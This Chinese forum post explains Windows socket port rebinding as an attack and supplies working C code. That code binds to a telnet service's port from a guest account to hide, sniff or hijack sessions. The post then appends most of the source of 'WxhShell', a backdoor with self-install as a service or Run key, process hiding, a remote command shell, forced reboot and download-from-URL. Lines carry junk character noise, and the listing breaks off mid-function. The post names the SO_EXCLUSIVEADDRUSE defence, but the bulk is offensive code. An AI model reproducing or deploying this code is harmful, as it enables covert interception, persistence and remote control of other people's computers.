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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PH?#)l D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `D`sr[3n  
pX&pLaF  
  saddr.sin_family = AF_INET; LEW'G"+  
j7sKsbb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0G7K8`a  
>=UF-xk;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w=LP"bqlI  
c6nflk.l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tj Gd )  
k$H%.l;E  
  这意味着什么?意味着可以进行如下的攻击: '~ ,p[  
%^I88,$&L  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]l'Y'z,}  
G 16!eDMt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6&bY}i^K  
H2 $GIY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %Eb%V($  
u:m]CPz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z9575CI<  
7<%<Ff@^)O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z;A>9vQ_J  
TJ: ]SB  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h~(G$':^  
krsYog(^z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M7ers|&{  
0PU8 #2pR  
  #include ([-|}  
  #include Z^]|o<.<I  
  #include DyeQJ7p  
  #include    @J5Jpt*IE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   uq, { tV  
  int main() x~GQV^(l3  
  { {"&SJt[%X  
  WORD wVersionRequested; K'X2dG*  
  DWORD ret; A5i:x$ww  
  WSADATA wsaData; ~zSCg|"r  
  BOOL val; @+9<O0  
  SOCKADDR_IN saddr; %^1cyk  
  SOCKADDR_IN scaddr; ]u4Hk?j~<  
  int err; K_2|_MLlZ  
  SOCKET s; EL8NZ%:v:  
  SOCKET sc; yaG= j  
  int caddsize;  .&9 i  
  HANDLE mt; dbOdq  
  DWORD tid;   FXzFHU/dP  
  wVersionRequested = MAKEWORD( 2, 2 ); :6zG7qES3  
  err = WSAStartup( wVersionRequested, &wsaData ); %{/%mJoX  
  if ( err != 0 ) { xdf82)  
  printf("error!WSAStartup failed!\n"); NzU,va N  
  return -1; qf=1?=l291  
  } O~59FuL  
  saddr.sin_family = AF_INET; V5GW:QT  
   Ma8_:7`>O  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rg{9UVj  
 ?p(/_@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5v?;PX  
  saddr.sin_port = htons(23); ynw5-aS3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;=<-5;rI  
  { [8Qro8  
  printf("error!socket failed!\n"); TQ{Han!  
  return -1; }|5 V RJA  
  } -T&.kYqnb$  
  val = TRUE; e.@uhB.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =egW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8}fu,$$5  
  { 05snuNt]-  
  printf("error!setsockopt failed!\n"); iJZ/jCI  
  return -1; +V{7")px6  
  } HAv{R!*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "=6v&G]U4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E\IlF 6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !'j?.F $}  
K-f1{ 0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `;l?12|X  
  { zoDH` h_  
  ret=GetLastError(); yuDZ~0]R  
  printf("error!bind failed!\n"); TYlbU<  
  return -1; {X*^s5{;H  
  }  ;b`[&g  
  listen(s,2); ?W0)nQU  
  while(1) ^':!1  
  { j:,NE(DF  
  caddsize = sizeof(scaddr); F:D orE  
  //接受连接请求 hSK;V<$[Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,oNOC3 U  
  if(sc!=INVALID_SOCKET) M)+$wp  
  { Ndo a4L)$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hUD7_arKF  
  if(mt==NULL) !<UJ6t}  
  { 7C$ 5  
  printf("Thread Creat Failed!\n"); k51Eyy50(  
  break; ZkIgL  
  } +8v9flh  
  } = <j"M85.  
  CloseHandle(mt); <L{(Mj%Z  
  } 8ZCoc5  
  closesocket(s); O/.Uh`T`6  
  WSACleanup(); *dvDap|8W  
  return 0; t ^[8RhD  
  }   xB@|LtdO9;  
  DWORD WINAPI ClientThread(LPVOID lpParam) xS7$%w['  
  { h.!}3\Y  
  SOCKET ss = (SOCKET)lpParam; Gcb|W&  
  SOCKET sc; H*bs31i{  
  unsigned char buf[4096]; @q"m5  
  SOCKADDR_IN saddr; 25NTIzI@@  
  long num; -F=v6N{  
  DWORD val; @x eAc0.^  
  DWORD ret; "Tm[t?FMbe  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3Wwj p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `'\t$nU  
  saddr.sin_family = AF_INET; hXb%;GL  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); avy"r$v_&  
  saddr.sin_port = htons(23);  Ug:\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Qj3a_p$)P  
  { K"u NxZ  
  printf("error!socket failed!\n"); ->h6j  
  return -1; A].>.AI  
  } })w*m  
  val = 100; (ZL sB{r^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A>[|g`;t  
  { a6:x"Tv  
  ret = GetLastError(); 3:{yJdpg  
  return -1; %lX%8Z$v  
  } k"g._|G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -QyhwG =  
  { CiR%Ujf  
  ret = GetLastError(); sHcTd>xS  
  return -1; ]`bQW?  
  } 2kv7UU#q2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `)qVF,Z}  
  { DfV~!bY  
  printf("error!socket connect failed!\n"); H"Klj_<dH0  
  closesocket(sc); tX!n sm1  
  closesocket(ss); hoT/KWD,  
  return -1; /t6X(*xoy  
  } /XudV2P-CA  
  while(1) y7S4d~&  
  { w nTV|^Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lNv".Y=l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $7QoMV8V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zE)~0v4  
  num = recv(ss,buf,4096,0); Fb/XC:AD  
  if(num>0) QI]Ih  
  send(sc,buf,num,0); Sa"9^_.2#  
  else if(num==0) 'TTUN=y  
  break; ~2d:Q6  
  num = recv(sc,buf,4096,0); .[u> V  
  if(num>0) g~BoFc.V2~  
  send(ss,buf,num,0); c8Q]!p+Yp  
  else if(num==0) ? <Y+peu  
  break; p#SY /KIw  
  } U$H @ jJ*  
  closesocket(ss); #wc \T  
  closesocket(sc); ^ FZ^6*  
  return 0 ; Y%|@R3[Nk  
  } V:/7f*n7  
)RYG%  
AF43$6KZP$  
========================================================== 5'w^@Rs5  
/%4_-Cpm  
下边附上一个代码,,WXhSHELL c9j*n;Q  
N~g :Wf!  
========================================================== 9'x)M?{8  
{k5X*W  
#include "stdafx.h" s4%(>Q  
4wi(?  
#include <stdio.h> Xnuzr" 4u  
#include <string.h> =SD\Q!fA  
#include <windows.h> \<vNVz7.D  
#include <winsock2.h> WZ!WxX>zO  
#include <winsvc.h> - O"i3>C  
#include <urlmon.h> ]O{u tm  
"+?Cz !i   
#pragma comment (lib, "Ws2_32.lib") okq[ o90  
#pragma comment (lib, "urlmon.lib") \V2,pi8'v  
r}u%#G+K,  
#define MAX_USER   100 // 最大客户端连接数 $6F)R|  
#define BUF_SOCK   200 // sock buffer xsjO)))f  
#define KEY_BUFF   255 // 输入 buffer Pv<FLo%u<  
Jdy <w&S  
#define REBOOT     0   // 重启 1Uf*^WW4  
#define SHUTDOWN   1   // 关机 IMnP[WA!  
M[~{Vd  
#define DEF_PORT   5000 // 监听端口 _ nP;Fx  
!3oKmL5  
#define REG_LEN     16   // 注册表键长度 i#X!#vyc  
#define SVC_LEN     80   // NT服务名长度 ^MD;"A<  
8hA^`Y  
// 从dll定义API uhV0J97  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XYx 6V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gPzL*6OS A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h{ lDxOH*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 44\>gI<  
TP1S[`nR  
// wxhshell配置信息 Sd IX-k.  
struct WSCFG { }.)s%4p8  
  int ws_port;         // 监听端口 (#q<\`  
  char ws_passstr[REG_LEN]; // 口令 }a&mY^  
  int ws_autoins;       // 安装标记, 1=yes 0=no R7~Yw*#,  
  char ws_regname[REG_LEN]; // 注册表键名 BO.dz06(Rw  
  char ws_svcname[REG_LEN]; // 服务名 i.iio-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kllQca|$4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oKFT? "[X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JO@ Bf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kqvow3u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W[NEe,.>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,J mbqOV?!  
`-B+JQmen  
}; n,P5o_^:  
iy\KzoB  
// default Wxhshell configuration :9l51oE7  
struct WSCFG wscfg={DEF_PORT, \g-j9|0  
    "xuhuanlingzhe", p4VqV6LwD  
    1, LF*Q!  
    "Wxhshell", |0bc$ZY:  
    "Wxhshell", 2aw&F Z?  
            "WxhShell Service", Bb Jkdt7  
    "Wrsky Windows CmdShell Service", A1cb"N^  
    "Please Input Your Password: ", =QV ::/  
  1, 1'6cGpZY  
  "http://www.wrsky.com/wxhshell.exe", +c206.  
  "Wxhshell.exe" o%M<-l"!/  
    }; Bk|K%K  
Jx-wO/  
// 消息定义模块 m:`@?n~..  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K&A;Z>l,v5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 77gysd\(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xPmN},i'R$  
char *msg_ws_ext="\n\rExit."; }0=<6\+:`  
char *msg_ws_end="\n\rQuit."; lm'Zy"~::  
char *msg_ws_boot="\n\rReboot..."; Q |i9aE  
char *msg_ws_poff="\n\rShutdown..."; `GQ{*_-  
char *msg_ws_down="\n\rSave to "; icUT<@0  
*QE<zt  
char *msg_ws_err="\n\rErr!"; (UEXxUdQ_Q  
char *msg_ws_ok="\n\rOK!"; ]!YtH]}  
,<ya@Fi{  
char ExeFile[MAX_PATH]; h. hjz?  
int nUser = 0; H D/5!d  
HANDLE handles[MAX_USER]; 8{&["?  
int OsIsNt; Sn3:x5H,l  
Az*KsY{/r  
SERVICE_STATUS       serviceStatus; #P2;K dDO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CfT/R/L  
f1{z~i9@$  
// 函数声明 Kf7WcJ4b  
int Install(void); =N.!k Vkl  
int Uninstall(void); ^!: "Q3  
int DownloadFile(char *sURL, SOCKET wsh); FT\?:wpKa  
int Boot(int flag); h:qHR] 8dZ  
void HideProc(void); X=p"5hhfn  
int GetOsVer(void); c^I0y!  
int Wxhshell(SOCKET wsl); #] KgUc5B  
void TalkWithClient(void *cs); 9\O(n>  
int CmdShell(SOCKET sock); ,8K'F  
int StartFromService(void); c5i%(!>  
int StartWxhshell(LPSTR lpCmdLine); A{,n;;  
'Am-vhpm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rjojG59U>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fu\s`W6f&  
iL?iz?+.%@  
// 数据结构和表定义 6`nR5fh  
SERVICE_TABLE_ENTRY DispatchTable[] =  #ch  
{ Jj"HpK>[  
{wscfg.ws_svcname, NTServiceMain}, v ahoSc;sw  
{NULL, NULL} eG] a zt  
}; wODvc9p}]  
9zKBO* p`  
// 自我安装 Iz\1~  
int Install(void) Z>A{i?#m  
{ g@nk.aRw  
  char svExeFile[MAX_PATH]; W3pQ?  
  HKEY key; #V 43=  
  strcpy(svExeFile,ExeFile); h_ ! >yK  
Q .RO  
// 如果是win9x系统,修改注册表设为自启动 d!{7r7ob\  
if(!OsIsNt) { :\}U9QfCw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k 'zat3#f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,-#GX{!  
  RegCloseKey(key); Up?=m^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CB}BQd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sk X]8  
  RegCloseKey(key); BnEdv8\,&s  
  return 0; m/${8  
    } 6}&^=^-  
  } e6P[c=m #  
} Rl@$xP  
else { -z C]^Ho@  
hLuJWjCV  
// 如果是NT以上系统,安装为系统服务 F1u)i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wly>H]i'  
if (schSCManager!=0) Q-('5a19J  
{ :1<~}*B@{  
  SC_HANDLE schService = CreateService M9"Sgb`g  
  ( 3VP$x@AV  
  schSCManager, J|j;g!fK  
  wscfg.ws_svcname, v}`1)BUeF  
  wscfg.ws_svcdisp, 9m!7|(QV  
  SERVICE_ALL_ACCESS, #EwK"S~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9O;vUy)  
  SERVICE_AUTO_START, 8M93cyX  
  SERVICE_ERROR_NORMAL, F' BdQk3o  
  svExeFile, ,/o(|sks  
  NULL, /t{=8v~  
  NULL, 1X@b?6  
  NULL, A@ VaaX  
  NULL, ?y_awoBd1  
  NULL 6"%qv`.Fp  
  ); BlaJl[Piv  
  if (schService!=0) jH0Bo;  
  { 1xC`ZhjcD  
  CloseServiceHandle(schService); _Y#Bm/*  
  CloseServiceHandle(schSCManager); {%7<"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~I$}#  
  strcat(svExeFile,wscfg.ws_svcname); /2w@ K_Px6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qX@9N=g`#O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~gt3Omh  
  RegCloseKey(key); +qE']yzm!  
  return 0; Bcaw~WD  
    } IK?]PmN4}  
  } plku-O;]  
  CloseServiceHandle(schSCManager); AN10U;p/O  
} Ruj.J,  
} uC[d%v`  
Yw^ Gti'<  
return 1; 3]S`|#J  
} TcZN %  
*gSO&O=  
// 自我卸载 r<_2qICgP  
int Uninstall(void) "^"'uO$  
{ csvO g[  
  HKEY key;  q)oN 2-  
E\! n49  
if(!OsIsNt) { >Z"9rF2SW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +S0u=u65  
  RegDeleteValue(key,wscfg.ws_regname); EIK*49b2  
  RegCloseKey(key); 6+ANAk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,i![QXZ  
  RegDeleteValue(key,wscfg.ws_regname); ?#ihJt,  
  RegCloseKey(key); Z:^3Fm->+  
  return 0; ^srs$ w]  
  } Oxj(g;}  
} *H*\gaSh  
} Y-~;E3(  
else { GC?S];PL  
bX&e_Pd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T/Q==Q{W:  
if (schSCManager!=0) MCd F!{  
{ i* gKtjx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9fCO7AE0#  
  if (schService!=0) <?4cWp|i  
  { -pX|U~a[  
  if(DeleteService(schService)!=0) { Mk "vv k  
  CloseServiceHandle(schService); a 8-;   
  CloseServiceHandle(schSCManager); MLeX;He  
  return 0; `:3&@.{T(  
  } \CwtX(6.  
  CloseServiceHandle(schService); j`Nh7+qs  
  } &%:*\_2s  
  CloseServiceHandle(schSCManager); _/ Tlqzp  
} 25&nwz  
} 2YluJ:LN  
ex0oAt^  
return 1; & qL<C  
} #'iPDRYy  
 Q>[Ce3  
// 从指定url下载文件 @ AggznA8  
int DownloadFile(char *sURL, SOCKET wsh) 4L11P  
{ '2xcce#  
  HRESULT hr; wzbz }P>  
char seps[]= "/"; _f66>a<  
char *token; a+'}XEhSC:  
char *file; R( GmU4  
char myURL[MAX_PATH]; O&=KlnI:  
char myFILE[MAX_PATH]; }bCK  
ex=)H%_|  
strcpy(myURL,sURL); -[<vYxX:h:  
  token=strtok(myURL,seps); K+-zY[3  
  while(token!=NULL) &|NZ8:*+#  
  { 3FuCW  
    file=token; _y"a2M  
  token=strtok(NULL,seps); a>?p.!BM  
  } LhZZc`|7t  
-B,cB  
GetCurrentDirectory(MAX_PATH,myFILE); ZGzc"r(r:#  
strcat(myFILE, "\\"); A$N+9n\  
strcat(myFILE, file); oL)lyUVT  
  send(wsh,myFILE,strlen(myFILE),0); =kF? _KN  
send(wsh,"...",3,0); lh~<s2[R2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^+URv  
  if(hr==S_OK) $)l2G;&  
return 0; Pm;I3r=R\  
else u(8~4P0w  
return 1; F6DxvyANr  
{9Db9K^  
} MN\i-vAL8  
PRZ8X{h  
// 系统电源模块 B3eNFS  
int Boot(int flag) m}rh|x/?  
{ X;(oz]tr$  
  HANDLE hToken; 3]!h{_:u  
  TOKEN_PRIVILEGES tkp; U-1VnX9m  
% kJh6J  
  if(OsIsNt) { nZ541o@t9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xl|ghjn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u*U_7Uw$  
    tkp.PrivilegeCount = 1; A%P 8c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \4/:^T}*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gu^_iU  
if(flag==REBOOT) { k+f1sV[4}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t[/\KG8  
  return 0; y~x#pC*w  
} ,YQ=Zk)w  
else { $vW^n4!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0c`sb+?  
  return 0; :ao^/&HZ  
} 219R&[cb  
  } (I>HWRH  
  else { %-\FVKX  
if(flag==REBOOT) { Y' 2-yB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F9F" F  
  return 0; 3>H2xh3Y  
} Tw}@+-  
else { j/~VP2R`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D 8gQR Q  
  return 0; ?U}sQ;c$  
} vwm|I7/w  
} y9=t;qH@|  
.zQ4/  
return 1; ; A x=]Q  
} sN"p5p  
=.VepX|?D  
// win9x进程隐藏模块 7Y%!,ff  
void HideProc(void) yB 1I53E  
{ !?S5IGLOj  
FK-}i|di  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wEZ,49  
  if ( hKernel != NULL ) >-UD]?>  
  { H]Y#pL u|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i<'{Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~K4k'   
    FreeLibrary(hKernel); $,}Qf0(S  
  } mgk64}K[n  
+[>y O _}  
return; jG =(w4+  
} A1mYkG)l  
f&=K]:WDe  
// 获取操作系统版本 @gs26jX~2}  
int GetOsVer(void) FP.(E9  
{ <GSQ2bX[  
  OSVERSIONINFO winfo; ww-XMz h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JqL<$mSep  
  GetVersionEx(&winfo); ]lymY _ >  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ] ,!\IqO  
  return 1; JJ^iy*v  
  else %j~9O~-  
  return 0; .@4QkG/  
} *U( 1iv0n  
9"m, p  
// 客户端句柄模块 qJ#L)  
int Wxhshell(SOCKET wsl) xAR^  
{ *K]>}  
  SOCKET wsh; eUX@9eML  
  struct sockaddr_in client; C}x4#bNK  
  DWORD myID; .a ~s_E  
VC/R)%@%  
  while(nUser<MAX_USER) Rh!L'? C  
{ xmCm3ekmpC  
  int nSize=sizeof(client); $ iX^p4v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U;x99Go:  
  if(wsh==INVALID_SOCKET) return 1; Z)C:]}Ex  
zyIza@V(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *=($r%)  
if(handles[nUser]==0) ~5-~q0Ge  
  closesocket(wsh); pP?<[ql[w  
else *5ka.=Qs  
  nUser++; *O2^{ C  
  } Se!gs>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (1QdZD|  
c.|sW2/  
  return 0; 8Uj68Jl?  
} dM);LT8@  
6|Ba  
// 关闭 socket >qSO,$  
void CloseIt(SOCKET wsh) z'5;f;  
{ ^4n2 -DvG  
closesocket(wsh); Ws2prh^e(  
nUser--;  9OrA9r  
ExitThread(0); FE$M[^1_  
} 'DaNR`9  
WyKUvVi  
// 客户端请求句柄 H}u)%qY+~  
void TalkWithClient(void *cs) ^N*pIVLC  
{ |HKHN? )  
8cYuzt]..  
  SOCKET wsh=(SOCKET)cs; Ri^sQ<~(  
  char pwd[SVC_LEN]; nOA ,x  
  char cmd[KEY_BUFF]; ~$ cm9>  
char chr[1]; 5#9`ROT9  
int i,j; A"P\4  
X=S}WKu  
  while (nUser < MAX_USER) { )?= kb  
{Sd@u$&  
if(wscfg.ws_passstr) { mSVX4XW<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `<]P"G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DzX6U[=  
  //ZeroMemory(pwd,KEY_BUFF); 2dp*>F0L  
      i=0; 20SF<V  
  while(i<SVC_LEN) { D@/9+]-,  
R47I\{  
  // 设置超时 LH?gJ8`  
  fd_set FdRead; oT9XJwqnv  
  struct timeval TimeOut; MY0[Oq cm=  
  FD_ZERO(&FdRead); +oxqS&$L  
  FD_SET(wsh,&FdRead); FvtM~[Q  
  TimeOut.tv_sec=8; z9OMC$,V  
  TimeOut.tv_usec=0; K-g=td/@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &;uGIk>s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); baO&n  
;iwD/=Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LN,$P  
  pwd=chr[0]; Zp% ""  
  if(chr[0]==0xd || chr[0]==0xa) { @E&X &F%  
  pwd=0; V!yp@%D  
  break; Q!BkS=H30K  
  } Q@3ld6y  
  i++;  JsAb q  
    } LiHXWi{s  
AR[M8RA  
  // 如果是非法用户,关闭 socket YV2pERl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l:kE^=6  
} J\Oc]gi\L  
0*]<RM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <9MQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n]6w)wE (  
gvwCoCbb  
while(1) { 9e :d2  
s525`Q;  
  ZeroMemory(cmd,KEY_BUFF); ;1(qGy4  
D%5 {A=  
      // 自动支持客户端 telnet标准   YA/H;707l  
  j=0; W+-f `  
  while(j<KEY_BUFF) { Cbf,X[u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :">~(Rd ZH  
  cmd[j]=chr[0]; *I;Mp  
  if(chr[0]==0xa || chr[0]==0xd) { s>"WQ|;6  
  cmd[j]=0; <)0LwkFtB  
  break; 4^jZv$l5  
  } p lz=G}Y  
  j++; U`vt/#j 1  
    } :`!mCW`Q-  
9R t(G_'  
  // 下载文件 nu1w:  
  if(strstr(cmd,"http://")) {  hE?GO,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); })yb   
  if(DownloadFile(cmd,wsh)) JqH.QnKcv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]>]H:NEq  
  else `(w kqa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %CfTqbB  
  } _tg3%X]  
  else { k?@W/}Iv9  
2[bR6 T89  
    switch(cmd[0]) { hF{mm(qyv  
  k+>p!1  
  // 帮助 U]R|ej  
  case '?': { _ jM6ej<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fSb@7L  
    break; u{y5'cJ{  
  } {3 yws 4  
  // 安装 RWEgUDX^/  
  case 'i': { :fMM-?s]  
    if(Install()) rO2PbF3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fe]T9EDA  
    else ^dp[ Z,[1z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ni;{\"Gt  
    break; nq w*oLFQ  
    } Zq6ebj  
  // 卸载 i~M.F=I5  
  case 'r': { {UjIxV(J  
    if(Uninstall()) N'1[t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,'@ISCK^  
    else ?)ZLxLV::  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,\">ovV33  
    break; k? _$h<Y  
    } ;:K?7wfXn  
  // 显示 wxhshell 所在路径 MJk:s[o  
  case 'p': { ^<H#dkECG  
    char svExeFile[MAX_PATH]; <MDFf nj  
    strcpy(svExeFile,"\n\r"); m$e@<~To  
      strcat(svExeFile,ExeFile); [E&"9%K  
        send(wsh,svExeFile,strlen(svExeFile),0); Tu T=  
    break; @zpHem dB  
    } m0K2p~  
  // 重启 uc `rt"  
  case 'b': { ieK'<%dxF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -1Ki7|0,  
    if(Boot(REBOOT)) z@40 g)R2A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SZ1pf#w!  
    else { _[6+FdS],  
    closesocket(wsh); FV<^q|K/(]  
    ExitThread(0); l[ OQo|_  
    } )I1V 2k$n  
    break; m+JGe5fR<  
    } :y)&kJpleP  
  // 关机 ?_`P;}4#  
  case 'd': { n ;fTx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .M#>@~XR  
    if(Boot(SHUTDOWN)) ?%TM7Z4  
